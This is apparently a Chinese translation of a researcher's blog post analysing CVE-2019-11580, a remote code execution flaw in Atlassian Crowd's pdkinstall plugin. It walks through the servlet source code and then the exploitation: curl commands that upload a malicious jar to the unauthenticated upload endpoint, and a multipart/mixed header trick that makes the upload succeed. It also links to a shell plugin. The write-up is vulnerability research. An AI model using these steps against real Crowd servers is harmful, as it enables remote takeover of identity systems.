CVE-2019-11580: Atlassian Crowd RCE漏洞分析

简介

Atlassian Crowd和Atlassian Crowd Data Center都是澳大利亚Atlassian公司的产品。Atlassian Crowd是一套基于Web的单点登录系统。该系统为多用户、网络应用程序和目录服务器提供验证、授权等功能。Atlassian Crowd Data Center是Crowd的集群部署版。
近日,研究人员发现Atlassian Crowd和Atlassian Crowd Data Center中存在输入验证错误漏洞。该漏洞源于网络系统或产品未对输入的数据进行正确的验证。受影响的产品及版本包括:Atlassian Crowd 2.1.x版本,3.0.5之前的3.0.x版本,3.1.6之前的3.1.x版本,3.2.8之前的3.2.x版本,3.3.5之前的3.3.x版本,3.4.4之前的3.4.版本;Atlassian Crowd Data Center 2.1.x版本,3.0.5之前的3.0.x版本,3.1.6之前的3.1.x版本,3.2.8之前的3.2.x版本,3.3.5之前的3.3.x版本,3.4.4之前的3.4.版本。

漏洞分析

研究人员首先克隆了该插件的源码:

root@doggos:~# git clone https://bitbucket.org/atlassian/pdkinstall-plugin
Cloning into 'pdkinstall-plugin'...
remote: Counting objects: 210, done.
remote: Compressing objects: 100% (115/115), done.
remote: Total 210 (delta 88), reused 138 (delta 56)
Receiving objects: 100% (210/210), 26.20 KiB | 5.24 MiB/s, done.
Resolving deltas: 100% (88/88), done.

可以在./main/resources/atlassian-plugin.xml中找到插件的描述文件。每个插件都需要一个插件描述文件,其中含有描述插件和模块的XML文件,如下所示:

<atlassian-plugin name="${project.name}" key="com.atlassian.pdkinstall" pluginsVersion="2">
<plugin-info>
    <version>${project.version}</version>
    <vendor name="Atlassian Software Systems Pty Ltd" url="http://www.atlassian.com"/>
</plugin-info>

<servlet-filter name="pdk install" key="pdk-install" class="com.atlassian.pdkinstall.PdkInstallFilter" location="before-decoration">
    <url-pattern>/admin/uploadplugin.action</url-pattern>
</servlet-filter>

<servlet-filter name="pdk manage" key="pdk-manage" class="com.atlassian.pdkinstall.PdkPluginsFilter"
    location="before-decoration">
    <url-pattern>/admin/plugins.action</url-pattern>
</servlet-filter>

<servlet-context-listener key="fileCleanup" class="org.apache.commons.fileupload.servlet.FileCleanerCleanup" />
<component key="pluginInstaller" class="com.atlassian.pdkinstall.PluginInstaller" />
</atlassian-plugin>

从中可以看出Java servlet类com.atlassian.pdkinstall.PdkInstallFilter是通过访问/admin/uploadplugin.action调用的。因为该漏洞是通过任意插件安装的RCE漏洞,所以研究人员决定分析下PdkInstallFilterservlet的源码。

研究人员将pdkinstall-plugin导入到IntelliJ中,并开始分析doFilter()方法。

如果请求方法不是POST,就退出会返回错误:

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse res = (HttpServletResponse) servletResponse;

if (!req.getMethod().equalsIgnoreCase("post"))
{
    res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Requires post");
    return;
}

然后确定请求中是否含有multipart内容。Multipart内容是指含有一个或多个不同集合的数据。如果其中含有multipart内容就调用extractJar()方法来提取请求中发送的jar,否则调用buildJarFromFiles()方法并尝试从请求中的数据中构建插件jar文件。

// Check that we have a file upload request
File tmp = null;
boolean isMultipart = ServletFileUpload.isMultipartContent(req);
if (isMultipart)
{
    tmp = extractJar(req, res, tmp);
}
else
{
    tmp = buildJarFromFiles(req);
}

下面再看一下extractJar()方法。

private File extractJar(HttpServletRequest req, HttpServletResponse res, File tmp) throws IOException
{
    // Create a new file upload handler
    ServletFileUpload upload = new ServletFileUpload(factory);

    // Parse the request
    try {
        List<FileItem> items = upload.parseRequest(req);
        for (FileItem item : items)
        {
            if (item.getFieldName().startsWith("file_") && !item.isFormField())
            {
                tmp = File.createTempFile("plugindev-", item.getName());
                tmp.renameTo(new File(tmp.getParentFile(), item.getName()));
                item.write(tmp);
            }
        }
    } catch (FileUploadException e) {
        log.warn(e, e);
        res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Unable to process file upload");
    } catch (Exception e) {
        log.warn(e, e);
        res.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Unable to process file upload");
    }
    return tmp;
}

首先,用ServletFileUpload的新对象来示例,然后调用parseRequest()方法并分析HTTP请求。该方法会处理HTTP请求的multipart/form数据流,并设置FileItems的列表为变量items

对每个FileItems中的每个item,如果field名是以file_开始的,并且不是form field,就会创建和写如上传到磁盘空文件的文件。如果失败,变量tmp就为空,如果成功,变量tmp中就含有写入文件的路径。然后返回doFilter()主方法。

if (tmp != null)
{
    List<String> errors = new ArrayList<String>();
    try
    {
        errors.addAll(pluginInstaller.install(tmp));
    }
    catch (Exception ex)
    {
        log.error(ex);
        errors.add(ex.getMessage());
    }

    tmp.delete();

    if (errors.isEmpty())
    {
        res.setStatus(HttpServletResponse.SC_OK);
        servletResponse.setContentType("text/plain");
        servletResponse.getWriter().println("Installed plugin " + tmp.getPath());
    }
    else
    {
        res.setStatus(HttpServletResponse.SC_BAD_REQUEST);
        servletResponse.setContentType("text/plain");
        servletResponse.getWriter().println("Unable to install plugin:");
        for (String err : errors)
        {
            servletResponse.getWriter().println("\t - " + err);
        }
    }
    servletResponse.getWriter().close();
    return;
}
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Missing plugin file");

如果extractJar()成功,tmp变量就会被设置,并且不等于null。应用会尝试用pluginInstaller.install()方法来安装插件,并找到进程中的错误。如果没有错误,服务器就会响应200 OK和插件成功安装的消息。否则,服务器会响应400 Bad RequestUnable to install plugin的消息,以及引发安装失败的错误。

如果extractJar()方法失败了,tmp变量就会被设置为null,服务器会响应400 Bad RequestMissing plugin file消息。

漏洞利用

下面开始尝试进行漏洞利用。

attempt #1

使用Atlassian SDK来准备一个实例。

确保可以访问http://localhost:4990/crowd/admin/uploadplugin.action来调用pdkinstall插件。

服务器响应400 Bad Request:

使用已有知识来上传标准插件。研究人员选择尝试atlassian-bundled-plugins中的applinks-plugin

已经了解的信息包括:servlet 需要含有multipart数据中含有以file_开头的文件的POST请求。可以用cURLform flag来实现:

root@doggos:~# curl --form "file_cdl=@applinks-plugin-5.2.6.jar" http://localhost:4990/crowd/admin/uploadplugin.action -v

结果是成功安装了插件,然后就应该创建和安装自己的恶意插件了。研究人员创建的恶意插件见https://github.com/lc/research/tree/master/CVE-2019-11580/atlassian-shell 。

编译并尝试上传:

root@doggos:~# ./compile.sh
root@doggos:~# curl --form "file_cdl=@rce.jar" http://localhost:8095/crowd/admin/uploadplugin.action -v

结果是失败了,并返回了400 Bad RequestMissing plugin file的错误消息。如果tmp为空,服务器会响应准确的消息和状态码,但是为什么呢?下面通过调试来进行分析。

Debug

研究人员将pdkinstall插件导入IntelliJ,打开处理上传的PdkInstallFilter.java servlet

研究人员首先猜测是ServletFileUpload.isMultipartContent(req)方法失败了,所以研究人员设置了一个断点。然后尝试再次上传插件,但研究人员发现这次正常了,而且服务器将它看作multipart内容:

所以应该是extractJar()失败了。研究人员对该方法进行了调试,并一行行设置了断点来找出哪里失败了。在设置完断点后,研究人员再次进行了尝试:

动态图:https://www.corben.io/images/atlassian/extractJar-debugging.gif

可以看出upload.parseRequest(req)方法返回了空数组。因为items变量是空,所以跳过了循环,并返回设置为NULLtmp

attempt #2

研究人员决定尝试通过Content-Type: multipart/mixed的形式来上传恶意插件。

curl -k -H "Content-Type: multipart/mixed" \
  --form "file_cdl=@rce.jar" http://localhost:4990/crowd/admin/uploadplugin.action

响应插件安装的消息:

下面看一下是否可以调用恶意插件:

执行成功。

本文翻译自:https://www.corben.io/atlassian-crowd-rce/